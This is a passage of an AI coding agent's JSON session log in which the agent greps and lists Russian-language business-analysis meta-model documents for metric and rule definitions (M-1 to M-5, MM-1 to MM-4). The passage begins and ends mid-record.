2601\n[2026-09-29T07:46:55.164Z] [INFO]       },\n[2026-09-29T07:46:55.164Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:46:55.164Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:55.164Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:55.164Z] [INFO]     },\n[2026-09-29T07:46:55.164Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:55.164Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:55.164Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:55.164Z] [INFO]   },\n[2026-09-29T07:46:55.164Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:55.164Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:55.164Z] [INFO]   \"uuid\": \"a9aac090-1e7b-4cf9-a866-9cb5476e8eb5\",\n[2026-09-29T07:46:55.164Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:55.154Z\",\n[2026-09-29T07:46:55.164Z] [INFO]   \"request_id\": \"req_011CfXMs3fwQoX8S5YLXibc1\",\n[2026-09-29T07:46:55.164Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:46:55.164Z] [INFO]     \"toolu_01K7srPDGfJWaX4fLcE1sXaE\": {\n[2026-09-29T07:46:55.164Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; grep -n \\\"M-1\\\\|M-2\\\\|M-3\\\\|M-4\\\\|M-5\\\" ba-meta-model/*.md | cut -c1-300 | head -30; ls ba-meta-model ba-meta-model/*/ | head -50\",\n[2026-09-29T07:46:55.164Z] [INFO]       \"description\": \"Locate metric definitions and meta-model files\"\n[2026-09-29T07:46:55.164Z] [INFO]     }\n[2026-09-29T07:46:55.164Z] [INFO]   }\n[2026-09-29T07:46:55.164Z] [INFO] }\n[2026-09-29T07:46:56.561Z] [INFO] {\n[2026-09-29T07:46:56.561Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:56.561Z] [INFO]   \"message\": {\n[2026-09-29T07:46:56.561Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:56.561Z] [INFO]     \"content\": [\n[2026-09-29T07:46:56.561Z] [INFO]       {\n[2026-09-29T07:46:56.561Z] [INFO]         \"tool_use_id\": \"toolu_01K7srPDGfJWaX4fLcE1sXaE\",\n[2026-09-29T07:46:56.561Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:56.561Z] [INFO]         \"content\": \"ba-meta-model/00-introduction.md:215:  \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 (`M-1 = 0.0`), \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u043d\u0430 \u0441\u044b\u0440\u044b\u0445 \u0432\u0445\u043e\u0434\u0430\u0445\\nba-meta-model/10-theory.md:67:| `SY-3` | `System` \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 \u0442\u0430\u043a \u0436\u0435, \u043a\u0430\u043a \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 (`MM-4`): \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0437\u0430\u0434\u043d\u0438\u043c \u0447\u0438\u0441\u043b\u043e\u043c. |\\nba-meta-model/10-theory.md:117:\u041f\u043e\u043b\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 `SB-0`\u2013`SB-9` \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 `FM-1`\u2013`FM-5` \u2014\\nba-meta-model/10-theory.md:140:| `MM-1` | \u0428\u0430\u0433 \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f. | \u00ab\u0420\u0430\u0431\u043e\u0442\u0430 \u0438\u0437 \u0432\u043e\u0437\u0434\u0443\u0445\u0430\u00bb: 50 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434 \u2014 \u0442\u0430\u043a\u0438\u0435 \u0448\u0430\u0433\u0438 \u043d\u0435\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\ufffd\\nba-meta-model/10-theory.md:141:| `MM-2` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u0433\u0435\u0439\u0442 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d. | \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u00ab\u043d\u0430 \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u0435\u00bb, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0435\u043b\u044c\u0437\u044f \u043d\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438, \u043d\u0438 \u043e\u0441\u043f\ufffd\\nba-meta-model/10-theory.md:142:| `MM-3` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043d\u0435\u0441\u0451\u0442 `Trace` \u043d\u0430 \u0432\u0445\u043e\u0434, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e, \u0430\u043a\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0433\u0435\u0439\u0442\u044b. | \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\u0437 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f: \u043e\u043d \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432 \u043c\u0435\u0442\u0440\ufffd\\nba-meta-model/10-theory.md:143:| `MM-4` | \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430, \u0430 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430. | \u041c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u0443\u044e \u0441\u0431\u043e\u0440\u043a\u0443 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e: \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0434\u0430\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\\nba-meta-model/10-theory.md:145:`MM-1` \u0438 `MM-4` \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430; `MM-2` \u0438 `MM-3` \u2014 \u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u0430\\nba-meta-model/10-theory.md:214:| \u00ab\u0422\u043e\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u00bb \u0432\u0441\u0435\u0433\u043e \u043d\u0430 \u0432\u0441\u0451 \u043f\u0440\u043e\u0442\u0438\u0432 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 | \u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0440\u0451\u0431\u0440\u0430\u043c `Trace`, \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u043c \u0432 `MM-3`. \u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0432\u044f\u0437\u0438 \u2014 \\nba-meta-model/20-taxonomy.md:62:| `A-TRACE` | \u0421\u043b\u0435\u0434 \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u0438 | **\u043d\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0436\u0443\u0440\u043d\u0430\u043b \u0438 \u043d\u0435 \u043f\u0430\u043c\u044f\u0442\u044c \u0447\u0430\u0442\u0430**, \u0430 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043c\u0430\u0442\u0440\u0438\u0446\u0430 \u0438\u043b\u0438 \u0433\u0440\u0430\u0444, \u0434\u0430\u044e\u0449\u0438\u0439 \u0441\u043a\u0432\u043e\u0437\u043d\u0443\u044e \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c: \\nba-meta-model/20-taxonomy.md:163:| `PT-1` | \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 (`MM-4`), \u0430 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430. |\\nba-meta-model/20-taxonomy.md:187:| `DP-5` | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 `interaction` **\u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f** \u043f\u043e \u0442\u0435\u043a\u0441\u0442\u0443 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442\u0441\u044f: `dialog`, \u0435\u0441\u043b\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0430\u043a\u0442\u043e\u0440\u0443 \u0434\u043e \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u0445\ufffd\\nba-meta-model/20-taxonomy.md:245:| `GT-3` | \u0413\u0435\u0439\u0442 \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d (`MM-2`). |\\nba-meta-model/20-taxonomy.md:260:| `C-IN` | \u0432\u0445\u043e\u0434 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430: \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0437\u0430\u0434\u0430\u0447\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a | `M0`, `MM-1`, `MM-4` |\\nba-meta-model/20-taxonomy.md:264:| `C-RK` | \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0438 \u0435\u0433\u043e \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c | [`orchestration/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/00-introduction.md), `MM-3` |\\nba-meta-model/30-decision-framework.md:141:| `SK-9` | \u041f\u043e\u043b\u0435 `interaction` (`DP-4`, `FM-1`) \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0438 **\u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f**: `dialog`, \u0435\u0441\u043b\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0442\u043e\u0447\u043a\u0443 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443 \u0434\u043e \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u0445\ufffd\\nba-meta-model/30-decision-framework.md:164:product_class: contact-center    # \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 (MM-4)\\nba-meta-model/40-practice-and-cases.md:38:        PC[\\\"\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d (MM-4)\\\"]\\nba-meta-model/40-practice-and-cases.md:163:| `M-1` \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0447\u0435\u0439 \u0441\u043a\u0435\u043b\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u043b \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c | \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u0441\u043b\u043e\u0442\u043e\u0432 | \u0440\u0430\u0441\u0442\u0451\u0442; \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 0 (17 \u0434\u043e\u043a\u0443\\nba-meta-model/40-practice-and-cases.md:164:| `M-2` \u0434\u043e\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 | `G-mach` reject / \u0432\u0441\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b | \u0441\u0447\u0451\u0442\u0447\u0438\u043a \u0433\u0435\u0439\u0442\u0430 | \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u0430\u044f: \u043d\u0443\u043b\u0435\u0432\u0430\u044f \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0433\u0435\u0439\u0442 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 |\\nba-meta-model/40-practice-and-cases.md:165:| `M-3` \u0434\u043e\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u0430\u0432\u043e\u043a \u043f\u043e\u0441\u043b\u0435 `G-mach` | \u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0430 `G-human` / \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 `G-mach` | diff \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u0430\u0434\u0430\u0435\u0442; \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043b\u043e\u0432\u0438\u0442 \u043c\u0430\u0448\u0438\u043d\u0430, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442 |\\nba-meta-model/40-practice-and-cases.md:166:| `M-4` \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0447\u0435\u0442\u044b\u0440\u044c\u043c\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044f\u043c\u0438 | \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 `EP-R4` | 100% \u043a\u0430\u043a \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0440\u0438\u0451\u043c\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 |\\nba-meta-model/40-practice-and-cases.md:167:| `M-5` \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 | \u043f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 / \u0432\u0441\u0435 \u043f\u0443\u0441\u0442\u044b\u0435 | \u0440\u0430\u0437\u0431\u043e\u0440 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 | \u0440\u0430\u0441\u0442\u0451\u0442; \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u00ab\u043d\u0435\u0442\u00bb \u043e\u0442 \u00ab\u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\ufffd\\nba-meta-model/40-practice-and-cases.md:174:\u041f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442: `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430, `MP-*` \u0438 `MO-*` \u2014 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e\\nba-meta-model/40-practice-and-cases.md:177:**\u0423\u0441\u043b\u043e\u0432\u0438\u0435 \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043c\u0435\u0440\u0430.** \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043f\u043e `M-1`\u2026`M-3` \u0441\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f **\u0434\u043e**\\nba-meta-model/40-practice-and-cases.md:181:**\u041f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.** \u0421\u0440\u0435\u0437 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u043c, \u0435\u0441\u043b\u0438 `M-4` = 100% \u0438 `M-1` \u0437\u0430\u043c\u0435\u0442\u043d\u043e\\nba-meta-model/40-practice-and-cases.md:182:\u0432\u044b\u0448\u0435 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438 \u043f\u0440\u0438 \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u043c `M-2`. \u041a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u00ab`M-1` \u0432\u044b\u0441\u043e\u043a\u0438\u0439, `M-2` = 0\u00bb\\nba-meta-model/40-practice-and-cases.md:189:| \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u0432\u0445\u043e\u0434\u0443 | \u043f\u0440\u043e\u0433\u043e\u043d \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 `C-IN`, \u0432\u043e\u043f\u0440\u043e\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 | `MM-4`: \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d, \u0430 \u043d\u0435 \u0432\u044b\u0432\u0435\u0434\u0435\u043d \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438; \u0437\\nba-meta-model/40-practice-and-cases.md:194:| \u0418\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445 | \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u043e\u0434\u0438\u043d \u043d\u0430\u0432\u044b\u043a; \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u043e\u043b\u0435 `interaction` \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \\nba-meta-model/40-practice-and-cases.md:215:- \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f `M-1` \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445\\nba-meta-model:\\n00-introduction.md\\n10-theory.md\\n20-taxonomy.md\\n30-decision-framework.md\\n40-practice-and-cases.md\\n50-open-research.md\\noperation-taxonomy\\nprocess-taxonomy\\nproduct-taxonomy\\n\\nba-meta-model/operation-taxonomy/:\\n00-introduction.md\\n10-theory.md\\n20-taxonomy.md\\n30-decision-framework.md\\n40-practice-and-cases.md\\n50-open-research.md\\n\\nba-meta-model/process-taxonomy/:\\n00-introduction.md\\n10-theory.md\\n20-taxonomy.md\\n30-decision-framework.md\\n40-practice-and-cases.md\\n50-open-research.md\\n\\nba-meta-model/product-taxonomy/:\\nmango-products.yaml\\ntelecom-products.yaml\",\n[2026-09-29T07:46:56.561Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:56.561Z] [INFO]       }\n[2026-09-29T07:46:56.561Z] [INFO]     ]\n[2026-09-29T07:46:56.561Z] [INFO]   },\n[2026-09-29T07:46:56.561Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:56.561Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:56.561Z] [INFO]   \"uuid\": \"979031c6-9922-46b9-97c8-1f6cedeebbed\",\n[2026-09-29T07:46:56.561Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:56.549Z\",\n[2026-09-29T07:46:56.561Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:46:56.561Z] [INFO]     \"stdout\": \"ba-meta-model/00-introduction.md:215:  \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 (`M-1 = 0.0`), \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u043d\u0430 \u0441\u044b\u0440\u044b\u0445 \u0432\u0445\u043e\u0434\u0430\u0445\\nba-meta-model/10-theory.md:67:| `SY-3` | `System` \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 \u0442\u0430\u043a \u0436\u0435, \u043a\u0430\u043a \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 (`MM-4`): \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0437\u0430\u0434\u043d\u0438\u043c \u0447\u0438\u0441\u043b\u043e\u043c. |\\nba-meta-model/10-theory.md:117:\u041f\u043e\u043b\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 `SB-0`\u2013`SB-9` \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 `FM-1`\u2013`FM-5` \u2014\\nba-meta-model/10-theory.md:140:| `MM-1` | \u0428\u0430\u0433 \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f. | \u00ab\u0420\u0430\u0431\u043e\u0442\u0430 \u0438\u0437 \u0432\u043e\u0437\u0434\u0443\u0445\u0430\u00bb: 50 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434 \u2014 \u0442\u0430\u043a\u0438\u0435 \u0448\u0430\u0433\u0438 \u043d\u0435\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\ufffd\\nba-meta-model/10-theory.md:141:| `MM-2` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u0433\u0435\u0439\u0442 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d. | \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u00ab\u043d\u0430 \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u0435\u00bb, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0435\u043b\u044c\u0437\u044f \u043d\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438, \u043d\u0438 \u043e\u0441\u043f\ufffd\\nba-meta-model/10-theory.md:142:| `MM-3` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043d\u0435\u0441\u0451\u0442 `Trace` \u043d\u0430 \u0432\u0445\u043e\u0434, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e, \u0430\u043a\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0433\u0435\u0439\u0442\u044b. | \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\u0437 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f: \u043e\u043d \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432 \u043c\u0435\u0442\u0440\ufffd\\nba-meta-model/10-theory.md:143:| `MM-4` | 